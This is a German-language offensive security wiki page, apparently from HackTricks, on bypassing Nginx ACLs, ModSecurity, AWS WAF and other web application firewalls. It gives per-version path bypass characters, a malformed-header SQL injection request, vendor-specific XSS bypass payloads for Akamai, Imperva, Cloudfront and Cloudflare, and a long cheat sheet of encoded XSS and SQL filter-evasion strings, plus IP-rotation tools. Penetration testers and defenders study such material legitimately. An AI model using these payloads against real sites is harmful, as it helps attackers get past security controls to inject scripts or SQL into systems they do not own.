# Proxy / WAF Schutzumgehung

{{#include ../banners/hacktricks-training.md}}


## Umgehung von Nginx ACL-Regeln mit Pfadmanipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>

Techniken [aus dieser Forschung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).

Beispiel für eine Nginx-Regel:
```plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}
```
Um Umgehungen zu verhindern, führt Nginx eine Pfadnormalisierung durch, bevor es diesen überprüft. Wenn der Backend-Server jedoch eine andere Normalisierung vornimmt (Zeichen entfernt, die Nginx nicht entfernt), könnte es möglich sein, diese Verteidigung zu umgehen.

### **NodeJS - Express**

| Nginx Version | **Node.js Bypass-Zeichen**   |
| ------------- | ----------------------------- |
| 1.22.0        | `\xA0`                        |
| 1.21.6        | `\xA0`                        |
| 1.20.2        | `\xA0`, `\x09`, `\x0C`        |
| 1.18.0        | `\xA0`, `\x09`, `\x0C`        |
| 1.16.1        | `\xA0`, `\x09`, `\x0C`        |

### **Flask**

| Nginx Version | **Flask Bypass-Zeichen**                                   |
| ------------- | ---------------------------------------------------------- |
| 1.22.0        | `\x85`, `\xA0`                                           |
| 1.21.6        | `\x85`, `\xA0`                                           |
| 1.20.2        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |

### **Spring Boot**

| Nginx Version | **Spring Boot Bypass-Zeichen** |
| ------------- | ------------------------------- |
| 1.22.0        | `;`                             |
| 1.21.6        | `;`                             |
| 1.20.2        | `\x09`, `;`                     |
| 1.18.0        | `\x09`, `;`                     |
| 1.16.1        | `\x09`, `;`                     |

### **PHP-FPM**

Nginx FPM-Konfiguration:
```plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx ist so konfiguriert, dass der Zugriff auf `/admin.php` blockiert wird, aber es ist möglich, dies zu umgehen, indem man auf `/admin.php/index.php` zugreift.

### Wie man verhindert
```plaintext
location ~* ^/admin {
deny all;
}
```
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>

### Path Confusion

[**In diesem Beitrag**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wird erklärt, dass ModSecurity v3 (bis 3.0.12) **die `REQUEST_FILENAME`**-Variable unsachgemäß implementiert hat, die den aufgerufenen Pfad (bis zum Beginn der Parameter) enthalten sollte. Dies liegt daran, dass eine URL-Dekodierung durchgeführt wurde, um den Pfad zu erhalten.\
Daher wird eine Anfrage wie `http://example.com/foo%3f';alert(1);foo=` in Mod Security annehmen, dass der Pfad nur `/foo` ist, da `%3f` in `?` umgewandelt wird, was den URL-Pfad beendet, aber tatsächlich wird der Pfad, den ein Server erhält, `/foo%3f';alert(1);foo=` sein.

Die Variablen `REQUEST_BASENAME` und `PATH_INFO` waren ebenfalls von diesem Fehler betroffen.

Etwas Ähnliches geschah in Version 2 von Mod Security, das es ermöglichte, einen Schutz zu umgehen, der verhinderte, dass Benutzer auf Dateien mit bestimmten Erweiterungen, die mit Sicherungsdateien (wie `.bak`) verbunden sind, zugreifen konnten, indem einfach der Punkt URL-kodiert in `%2e` gesendet wurde, zum Beispiel: `https://example.com/backup%2ebak`.

## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>

### Malformed Header

[Diese Forschung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) erwähnt, dass es möglich war, AWS WAF-Regeln, die auf HTTP-Header angewendet wurden, zu umgehen, indem ein "fehlerhafter" Header gesendet wurde, der von AWS nicht richtig analysiert, aber vom Backend-Server verarbeitet wurde.

Zum Beispiel, indem die folgende Anfrage mit einer SQL-Injection im Header X-Query gesendet wird:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
```
Es war möglich, AWS WAF zu umgehen, da es nicht verstand, dass die nächste Zeile Teil des Wertes des Headers ist, während der NODEJS-Server dies tat (dies wurde behoben).

## Generische WAF-Umgehungen

### Anforderungsgrößenbeschränkungen

Üblicherweise haben WAFs eine bestimmte Längenbeschränkung für Anfragen, die überprüft werden, und wenn eine POST/PUT/PATCH-Anfrage darüber hinausgeht, wird die WAF die Anfrage nicht überprüfen.

- Für AWS WAF können Sie [**die Dokumentation überprüfen**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**

<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximale Größe eines Webanfragekörpers, der für Application Load Balancer und AWS AppSync-Schutz überprüft werden kann</td><td>8 KB</td></tr><tr><td>Maximale Größe eines Webanfragekörpers, der für CloudFront, API Gateway, Amazon Cognito, App Runner und Verified Access-Schutz überprüft werden kann**</td><td>64 KB</td></tr></tbody></table>

- Aus [**Azure-Dokumenten**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**

Ältere Webanwendungsfirewalls mit Core Rule Set 3.1 (oder niedriger) erlauben Nachrichten größer als **128 KB**, indem die Inspektion des Anfragekörpers deaktiviert wird, aber diese Nachrichten werden nicht auf Schwachstellen überprüft. Bei neueren Versionen (Core Rule Set 3.2 oder neuer) kann dasselbe erreicht werden, indem die maximale Anfragekörpergrenze deaktiviert wird. Wenn eine Anfrage die Größenbeschränkung überschreitet:

Wenn **Präventionsmodus**: Protokolliert und blockiert die Anfrage.\
Wenn **Erkennungsmodus**: Überprüft bis zur Grenze, ignoriert den Rest und protokolliert, wenn die `Content-Length` die Grenze überschreitet.

- Aus [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**

Standardmäßig überprüft die WAF nur die ersten 8 KB einer Anfrage. Sie kann das Limit auf bis zu 128 KB erhöhen, indem sie erweiterte Metadaten hinzufügt.

- Aus [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**

Bis zu 128 KB.

### Inspektionslücken bei statischen Assets (.js GETs)

Einige CDN/WAF-Stacks wenden schwache oder keine Inhaltsinspektion auf GET-Anfragen für statische Assets (zum Beispiel Pfade, die mit `.js` enden) an, während sie weiterhin globale Regeln wie Ratenbegrenzung und IP-Reputation anwenden. In Kombination mit dem automatischen Caching statischer Erweiterungen kann dies ausgenutzt werden, um bösartige Varianten zu liefern oder zu streuen, die nachfolgende HTML-Antworten beeinflussen.

Praktische Anwendungsfälle:

- Senden Sie Payloads in nicht vertrauenswürdigen Headers (z. B. `User-Agent`) bei einem GET zu einem `.js`-Pfad, um die Inhaltsinspektion zu vermeiden, und fordern Sie dann sofort das Haupt-HTML an, um die zwischengespeicherte Variante zu beeinflussen.
- Verwenden Sie eine frische/reine IP; sobald eine IP markiert ist, können Routingänderungen die Technik unzuverlässig machen.
- Verwenden Sie in Burp Repeater "Gruppe parallel senden" (Single-Packet-Stil), um die beiden Anfragen (`.js` dann HTML) durch denselben Front-End-Pfad zu beschleunigen.

Dies passt gut zu Header-Reflexions-Cache-Vergiftungen. Siehe:

- {{#ref}}
cache-deception/README.md
{{#endref}}
- [Wie ich eine 0-Click-Kontoübernahme in einem öffentlichen BBP fand und sie nutzte, um auf Admin-Level-Funktionen zuzugreifen](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)

### Obfuskation <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
### Unicode-Kompatibilität <a href="#unicode-compatability" id="unicode-compatability"></a>

Je nach Implementierung der Unicode-Normalisierung (mehr Informationen [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)) können Zeichen, die Unicode-Kompatibilität aufweisen, in der Lage sein, die WAF zu umgehen und als die beabsichtigte Nutzlast auszuführen. Kompatible Zeichen finden Sie [hier](https://www.compart.com/en/unicode).

#### Beispiel <a href="#example" id="example"></a>
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
```
### Umgehung kontextueller WAFs mit Kodierungen <a href="#ip-rotation" id="ip-rotation"></a>

Wie in [**diesem Blogbeitrag**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) erwähnt, können wir, um WAFs zu umgehen, die in der Lage sind, einen Kontext der Benutzereingabe aufrechtzuerhalten, die WAF-Techniken ausnutzen, um die Benutzereingabe tatsächlich zu normalisieren.

Zum Beispiel wird im Beitrag erwähnt, dass **Akamai eine Benutzereingabe 10 Mal URL-dekodiert hat**. Daher wird etwas wie `<input/%2525252525252525253e/onfocus` von Akamai als `<input/>/onfocus` angesehen, was **als in Ordnung angesehen werden könnte, da das Tag geschlossen ist**. Solange die Anwendung jedoch die Eingabe nicht 10 Mal URL-dekodiert, wird das Opfer etwas wie `<input/%25252525252525253e/onfocus` sehen, was **immer noch gültig für einen XSS-Angriff ist**.

Daher ermöglicht dies, **Payloads in kodierten Komponenten zu verstecken**, die die WAF dekodiert und interpretiert, während das Opfer dies nicht tut.

Darüber hinaus kann dies nicht nur mit URL-kodierten Payloads, sondern auch mit anderen Kodierungen wie Unicode, Hex, Oktal... durchgeführt werden.

Im Beitrag werden die folgenden endgültigen Umgehungen vorgeschlagen:

- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`

Es wird auch erwähnt, dass es je nach **wie einige WAFs den Kontext** der Benutzereingabe verstehen, möglich sein könnte, dies auszunutzen. Das vorgeschlagene Beispiel im Blog ist, dass Akamai erlaubte, alles zwischen `/*` und `*/` zu setzen (möglicherweise, weil dies häufig als Kommentare verwendet wird). Daher wird eine SQL-Injection wie `/*'or sleep(5)-- -*/` nicht erfasst und ist gültig, da `/*` der Startstring der Injection ist und `*/` kommentiert ist.

Diese Art von Kontextproblemen kann auch verwendet werden, um **andere Schwachstellen als die erwartete** auszunutzen, die von der WAF ausgenutzt werden sollen (z. B. könnte dies auch verwendet werden, um einen XSS-Angriff auszunutzen).

### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>

{{#ref}}
h2c-smuggling.md
{{#endref}}

### IP-Rotation <a href="#ip-rotation" id="ip-rotation"></a>

- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generieren Sie eine API-Gateway-URL zur Verwendung mit ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Ähnlich wie fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite-Plugin, das API-Gateway-IPs verwendet
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Eine dynamisch bestimmte Anzahl von Containerinstanzen wird basierend auf der Dateigröße und dem Split-Faktor aktiviert, wobei die Eingabe in Teile für die parallele Ausführung aufgeteilt wird, z. B. 100 Instanzen, die 100 Teile aus einer 10.000-Zeilen-Eingabedatei mit einem Split-Faktor von 100 Zeilen verarbeiten.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)

### Regex-Umgehungen

Verschiedene Techniken können verwendet werden, um die Regex-Filter an den Firewalls zu umgehen. Beispiele sind das Wechseln der Groß- und Kleinschreibung, das Hinzufügen von Zeilenumbrüchen und das Kodieren von Payloads. Ressourcen für die verschiedenen Umgehungen finden Sie bei [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) und [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die folgenden Beispiele stammen aus [diesem Artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## Tools

- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp-Plugin, um Junk-Daten zu Anfragen hinzuzufügen, um WAFs durch Länge zu umgehen

## References

- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)


{{#include ../banners/hacktricks-training.md}}